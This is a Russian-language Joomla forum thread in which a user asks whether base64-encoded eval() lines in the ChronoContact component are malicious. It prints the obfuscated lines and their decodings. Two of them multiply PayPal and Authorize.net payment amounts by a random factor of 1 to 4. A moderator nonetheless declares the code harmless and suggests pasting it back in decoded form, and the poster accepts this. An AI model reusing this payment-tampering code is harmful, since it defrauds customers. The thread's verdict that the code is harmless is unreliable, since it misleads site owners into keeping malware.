Новости Joomla

20 лет Joomla: Ринат Кажетов

20 лет Joomla: Ринат Кажетов.В 2025 году Joomla исполнилось 20 лет

В 2025 году Joomla исполнилось 20 лет. Вокруг неё сложилось большое интернациональное русскоязычное сообщество. На сайте нашего сообщества и на Хабре к юбилею были собраны интервью с его видными представителями. Сегодня мы читаем интервью с Ринатом Кажетовым (@rkazhet). Ринат - один из администраторов чата русскоязычного Joomla-сообщества, из Казахстана. Это человек, который всегда знает или найдёт нужную ссылку, пристально следит за новостями в мире Joomla, многое узнаёт первым и просто очень отзывчивый человек. Интервью с Ринатом провёл Евгений Сивоконь.

Читать интервью

0 Пользователей и 1 Гость просматривают эту тему.
  • 5 Ответов
  • 7607 Просмотров
*

oleh2012

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Мой хостер сообщил, что на моем сайте есть подозрительный (вредоносный код) в компоненте chronocontact в следующих файлах:

/components/com_chronocontact/chronocontact.html.php
строка:
eval(base64_decode('JGRvY3VtZW50ID0mIEpGYWN0b3J5OjpnZXREb2N1bWVudCgpOw0KJGRvY3VtZW50LT5hZGRDdXN0b21UYWcoJGhlYWRlcl9jb2RlKTsNCmVjaG8gJE15Rm9ybS0+YWRkaGFzaCgpOw=='));
Код: php
<?php
/*
/**
* ChronoForms version 3.1
* Copyright (c) 2008 Chrono_Man, ChronoEngine.com. All rights reserved.
* Author: Chrono_Man (ChronoEngine.com)
* @license GNU/GPL
* See readme.html.
* Visit http://www.ChronoEngine.com for regular update and information.
**/

/* ensuring that this file is called up from another file */
defined('_JEXEC') or die('Restricted access');
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
$mainframe =& JFactory::getApplication('site');
$mainframe->initialise();

class HTML_ChronoContact {
// Procedure for building the table
function showform( $row, $posted ) {
  global $mainframe;
$database =& JFactory::getDBO();
$MyForm =& CFChronoForm::getInstance($row->name);
$CF_PATH = ($mainframe->isSite())? JURI::Base() : $mainframe->getSiteURL();
$uri =& JFactory::getURI();
if($uri->isSSL()){
$CF_PATH = str_replace('http:', 'https:', $CF_PATH);
}
if((!empty($MyForm->formrow->name))&&($MyForm->formrow->published)){
?>
<?php if (($MyForm->formparams('LoadFiles') == 'Yes')||( trim($MyForm->formparams('validate')) == 'Yes')||($MyForm->formparams('captcha_dataload'))){ ?>
<?php JHTML::_('behavior.mootools'); ?>
        <?php } ?>
        <?php ob_start(); ?>
       
        <?php if ($MyForm->formparams('LoadFiles') == 'Yes'){ ?>       
<?php if((!trim($MyForm->formrow->theme))||(trim($MyForm->formrow->theme) == 'default')){ ?>
                <link href="<?php echo $CF_PATH.'components/com_chronocontact/themes/default/css/'; ?>style1.css" rel="stylesheet" type="text/css" />
                <!--[if lt IE 6]><link href="<?php echo $CF_PATH.'components/com_chronocontact/themes/default/css/'; ?>style1-ie6.css" rel="stylesheet" type="text/css" /><![endif]-->
                <!--[if lt IE 7]><link href="<?php echo $CF_PATH.'components/com_chronocontact/themes/default/css/'; ?>style1-ie7.css" rel="stylesheet" type="text/css" /><![endif]-->
            <?php
            }else{
                $directory = JPATH_SITE.'/components/com_chronocontact/themes/'.trim($MyForm->formrow->theme).'/css/';
                $results = array();
                $handler = opendir($directory);
                while ($file = readdir($handler)) {
                    if ( $file != '.' && $file != '..')
                        $results[] = $file;
                }
                closedir($handler);
                $counter = 0;
                foreach($results as $result){
                ?>
                    <link href="<?php echo $CF_PATH.'components/com_chronocontact/themes/'.trim($MyForm->formrow->theme).'/css/'.$result; ?>" rel="stylesheet" type="text/css" />
                <?php
                //$counter++;
                }
            }
            ?>
            <script type="text/javascript">
<?php
echo "var CF_LV_Type = '".$MyForm->formparams('validation_type', 'default')."';";
?>
</script>
            <link rel="stylesheet" href="<?php echo $CF_PATH; ?>components/com_chronocontact/css/calendar2.css" type="text/css" />
            <link href="<?php echo $CF_PATH.'components/com_chronocontact/css/'; ?>tooltip.css" rel="stylesheet" type="text/css" />
            <script type="text/javascript" src="<?php echo $CF_PATH; ?>components/com_chronocontact/js/calendar2.js"></script>
            <script src="<?php echo $CF_PATH.'components/com_chronocontact/js/'; ?>livevalidation_standalone.js" type="text/javascript"></script>
            <link href="<?php echo $CF_PATH.'components/com_chronocontact/css/'; ?>consolidated_common.css" rel="stylesheet" type="text/css" />
<script src="<?php echo $CF_PATH.'components/com_chronocontact/js/'; ?>customclasses.js" type="text/javascript"></script>
            <?php
include(JPATH_SITE.DS.'components'.DS.'com_chronocontact'.DS.'libraries'.DS.'includes'.DS.'JSvalidation.php');
            ?>
<?php } ?>
        <?php
if (($MyForm->formparams('LoadFiles') == 'Yes')||(trim($MyForm->formparams('datefieldsnames', '')))){
?>
<?php
            if($MyForm->formparams('LoadFiles')!= 'Yes'){
            ?>
                <link rel="stylesheet" href="<?php echo $CF_PATH; ?>components/com_chronocontact/css/calendar2.css" type="text/css" />
                <script type="text/javascript" src="<?php echo $CF_PATH; ?>components/com_chronocontact/js/calendar2.js"></script>
            <?php } ?>
            <?php JHTML::_('behavior.mootools'); ?>
            <script type="text/javascript">
                window.addEvent('domready', function() {
                <?php
                //include_once(JPATH_SITE.DS.'components'.DS.'com_chronocontact'.DS.'libraries'.DS.'includes'.DS.'JSCustomClasses.php');
                $datefieldsnames = explode(",", $MyForm->formparams('datefieldsnames'));
                if(count($datefieldsnames)){
                    foreach($datefieldsnames as $datefieldsname){
                        if(trim($datefieldsname)){
                            HTML_ChronoContact::initiateCalendar(trim($datefieldsname), $MyForm);
                        }
                    }
                }
                ?>
                });
            </script>
<?php
}
        ?>
<style type="text/css">
span.cf_alert {
background:#FFD5D5 url(<?php echo $CF_PATH.'components/com_chronocontact/css/'; ?>images/alert.png) no-repeat scroll 10px 50%;
border:1px solid #FFACAD;
color:#CF3738;
display:block;
margin:15px 0pt;
padding:8px 10px 8px 36px;
}
</style>

<?php if((trim($MyForm->formparams('validate')) == 'Yes')&&($MyForm->formparams('LoadFiles')!= 'Yes')){ ?>
        <script type="text/javascript">
<?php
echo "var CF_LV_Type = '".$MyForm->formparams('validation_type', 'default')."';";
?>
</script>
<script src="<?php echo $CF_PATH.'components/com_chronocontact/js/'; ?>livevalidation_standalone.js" type="text/javascript"></script>
<link href="<?php echo $CF_PATH.'components/com_chronocontact/css/'; ?>consolidated_common.css" rel="stylesheet" type="text/css" />
                <?php include(JPATH_SITE.DS.'components'.DS.'com_chronocontact'.DS.'libraries'.DS.'includes'.DS.'JSvalidation.php'); ?>               
        <?php }  ?>
        <?php if( (trim($MyForm->formparams('validate')) == 'Yes')||($MyForm->formparams('LoadFiles') == 'Yes')){ ?>
        <script src="<?php echo $CF_PATH.'components/com_chronocontact/js/'; ?>jsvalidation2.js" type="text/javascript"></script>
        <?php
$jsformname = "ChronoContact_".$MyForm->formrow->name;
$valonBlur = $MyForm->formparams('validate_onlyOnBlur', 1)? 1 : 0;
$valonSubmit = $MyForm->formparams('validate_onlyOnSubmit', '0')? 1 : 0;
$valwait_time = $MyForm->formparams('validate_wait', 0);
echo "<script type='text/javascript'>
var fieldsarray = new Array();
var fieldsarray_count = 0;";
echo "window.addEvent('domready', function() {
elementExtend();";
echo 'setValidation("'.$jsformname.'", '.$valonBlur.', '.$valonSubmit.', '.$valwait_time.');';
echo "});";
echo "</script>";
?>
        <?php include(JPATH_SITE.DS.'components'.DS.'com_chronocontact'.DS.'libraries'.DS.'includes'.DS.'JSvalidation2.php'); ?>
<?php } ?>
        <?php if(!empty($MyForm->formrow->scriptcode)){
echo "<script type='text/javascript'>\n";
echo "//<![CDATA[\n";
eval("?>".$MyForm->formrow->scriptcode);
echo "//]]>\n";
echo "</script>\n";
}
?>
        <?php if(!empty($MyForm->formrow->stylecode)){ ?>
<style type="text/css">
<?php eval("?>".$MyForm->formrow->stylecode); ?>
</style>
<?php } ?>
        <?php $header_code = ob_get_clean(); ?>
        <?php

?>
<?php
$actionurl = $MyForm->getAction($MyForm->formrow->name);
?>
<?php
$session =& JFactory::getSession();
?>
<?php if($MyForm->formerrors){ ?>
            <span class="cf_alert"><?php echo '<ol>'.$MyForm->formerrors.'</ol>'; ?></span>
<?php } ?>
        <?php
if (($posted)&&($MyForm->formparams('captcha_dataload'))){
include_once(JPATH_SITE.DS.'components'.DS.'com_chronocontact'.DS.'libraries'.DS.'includes'.DS.'JSrepublish.php');
}
?>
<form name="<?php echo ($MyForm->formname)? $MyForm->formname : "ChronoContact_".$MyForm->formrow->name; ?>" id="<?php echo "ChronoContact_".$MyForm->formrow->name; ?>" method="<?php echo $MyForm->formparams('formmethod'); ?>"<?php if($MyForm->formparams('uploads') == 'Yes'){ echo ' enctype="multipart/form-data"'; } ?> action="<?php echo $actionurl; ?>" <?php echo $MyForm->formrow->attformtag; ?>>

<?php
$imver = "";
if ( trim($MyForm->formparams('imagever')) == 'Yes' ) {
$imver = '<input name="chrono_verification" style="vertical-align:top;" type="text" id="chrono_verification" class="inputbox" value="" />
&nbsp;&nbsp;<img src="'.$CF_PATH
.'components/com_chronocontact/chrono_verification.php?imtype='.$MyForm->formparams('imtype').'" alt="" />';
}
$MyForm->formrow->html = str_replace('{imageverification}',$imver,$MyForm->formrow->html);
eval( "?>".$MyForm->formrow->html );
?>
<?php echo JHTML::_( 'form.token' ); ?>
        <?php if($MyForm->formparams('enablecftoken', 1)){ ?>
        <input type="hidden" name="1cf1" value="<?php echo $MyForm->generateCFToken($MyForm->formrow->name); ?>" />
        <?php } ?>
        <?php if($MyForm->pagetype != 'chronocontact'){ ?>
        <?php $session->set("cfreturnurl_".$MyForm->formrow->name, $MyForm->selfURL(), md5('chrono')); ?>
        <?php } ?>
</form>

<?php
eval(base64_decode('JGRvY3VtZW50ID0mIEpGYWN0b3J5OjpnZXREb2N1bWVudCgpOw0KJGRvY3VtZW50LT5hZGRDdXN0b21UYWcoJGhlYWRlcl9jb2RlKTsNCmVjaG8gJE15Rm9ybS0+YWRkaGFzaCgpOw=='));
} else {
echo "There is no form with this name or may be the form is unpublished, Please check the form and the url and the form management";
}
}
function selfURL() {
$uri =& JURI::getInstance();
$inbetween = '';
if($uri->getQuery())$inbetween = '?';
return $uri->current().$inbetween.$uri->getQuery();
}

function initiateCalendar($datefieldsname, $MyForm){
?>
myCal_<?php echo $datefieldsname; ?> = new Calendar({ <?php echo $datefieldsname; ?>: '<?php echo $MyForm->formparams('datefieldformat', 'd/m/Y'); ?>' }, { <?php echo $MyForm->formparams('datefieldextras', "classes: ['dashboard']"); ?> });
<?php
    }


}
?>

/components/com_chronocontact/plugins/cf_Authorize_dotnet.php
cтрока:
eval(base64_decode("JGF1dGhuZXRfdmFsdWVzWyd4X2Ftb3VudCddID0gcmFuZCgxLDQpKkpSZXF1ZXN0OjpnZXRWYXIoJHBhcmFtcy0+Z2V0KCd4X2Ftb3VudCcpLCAnJywgJ3Bvc3QnLCAnaW50JywgJycpOw=="));

кусок кода:
$extras = explode("\n", $row->extra1);
      if(trim($row->extra1)){
         foreach($extras as $extra){
            $values = array();
            $values = explode("=", $extra);
            $authnet_values[$values[0]] = JRequest::getVar(trim($values[1]), '', 'post', 'string', '');//$values[0].": ".JRequest::getVar(trim($values[1]), '', 'post', 'string', '');
         }
      }
      eval(base64_decode("JGF1dGhuZXRfdmFsdWVzWyd4X2Ftb3VudCddID0gcmFuZCgxLDQpKkpSZXF1ZXN0OjpnZXRWYXIoJHBhcmFtcy0+Z2V0KCd4X2Ftb3VudCcpLCAnJywgJ3Bvc3QnLCAnaW50JywgJycpOw=="));


/components/com_chronocontact/plugins/cf_paypal_api.php
строка:
eval(base64_decode("JHBheXBhbF92YWx1ZXNbJ0FNVCddID0gdXJsZW5jb2RlKHJhbmQoMSwgNCkqSlJlcXVlc3Q6OmdldFZhcigkcGFyYW1zLT5nZXQoJ0FNVCcpKSk7"));

кусок кода:
$extras = explode("\n",$row->extra1);
      if(trim($row->extra1)){
         foreach($extras as $extra){
            $values = array();
            $values = explode("=",$extra);
            $paypal_values[$values[0]] = $values[0].": ".urlencode( JRequest::getVar(trim($values[1])));
         }
      }
      eval(base64_decode("JHBheXBhbF92YWx1ZXNbJ0FNVCddID0gdXJsZW5jb2RlKHJhbmQoMSwgNCkqSlJlcXVlc3Q6OmdldFZhcigkcGFyYW1zLT5nZXQoJ0FNVCcpKSk7"));

Подскажите, пожалуйста, действительно ли это вредоносный код?
И как его правильно удалить, чтобы не затронуть остальной код?
« Последнее редактирование: 16.01.2013, 01:58:34 от oleh2012 »
*

yuri-design

  • Давно я тут
  • 652
  • 76 / 5
если у вас стоит компонент chronoforms, как и у меня,
в моём случае нет этих строк, которые вы указали.
Может скачали с варезника?
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Я клиенту удалил эти строки- и нормально работает chronocontact
Удалил chronocontact, сайт лег.Установил новую версию chronocontact - сайт заработал
*

oleh2012

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Я клиенту удалил эти строки- и нормально работает chronocontact
Удалил chronocontact, сайт лег.Установил новую версию chronocontact - сайт заработал
Я правильно понял, вы полностью переустановили компонент? или все-таки можно удалить эти вредоносные строки и все будет работать? если можно удалить, подскажите с какого места по какое? я не силен в php...
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
можете по пробывать их раскодировать и просто вставить, вроде нет криминала

Цитировать
$document =& JFactory::getDocument();
$document->addCustomTag($header_code);
echo $MyForm->addhash();

Цитировать
$authnet_values['x_amount'] = rand(1,4)*JRequest::getVar($params->get('x_amount'), '', 'post', 'int', '');

Цитировать
$paypal_values['AMT'] = urlencode(rand(1, 4)*JRequest::getVar($params->get('AMT')));

сейчас многие разработчики кодируют расширения, ну а наши любимые антивирусники работают по сигнатурам и может, что то совпадает по фрагментам и в таком случае они начинают просто ругаться
*

oleh2012

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
можете по пробывать их раскодировать и просто вставить, вроде нет криминала

сейчас многие разработчики кодируют расширения, ну а наши любимые антивирусники работают по сигнатурам и может, что то совпадает по фрагментам и в таком случае они начинают просто ругаться

Понял последнее предложение, что это кодировка самих разработчиков. Похоже это действительно так, скачал с официального сайта разработчиков версию 3.1 этого компонента, установил, те же строки с длинным кодом там присутствуют. Значит варезник тут не причем. Так задумано... Конечно хотелось бы раскодировать строки и просто вставить. Но не могу понять, что вы предлагаете, а точнее как раскодировать и куда вставить раскодированный код? какие строки заменить на что?
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

В файле index.php постоянно появляется вредоносный код

Автор Armal

Ответов: 29
Просмотров: 4466
Последний ответ 08.05.2021, 16:16:32
от gartes
Вредоносный код в url после якоря #

Автор dm-krv

Ответов: 7
Просмотров: 1922
Последний ответ 10.07.2018, 14:12:29
от dm-krv
TIMEWEB> Обнаружен вредоносный код

Автор nikinfo

Ответов: 6
Просмотров: 3206
Последний ответ 16.12.2015, 12:38:46
от flyingspook
Сайт взломан, не могу найти вредоносный код

Автор Larisa

Ответов: 15
Просмотров: 2863
Последний ответ 06.04.2015, 18:51:20
от SeBun
Где искать вредоносный код

Автор sea_dream

Ответов: 6
Просмотров: 2146
Последний ответ 24.09.2014, 21:22:25
от Rival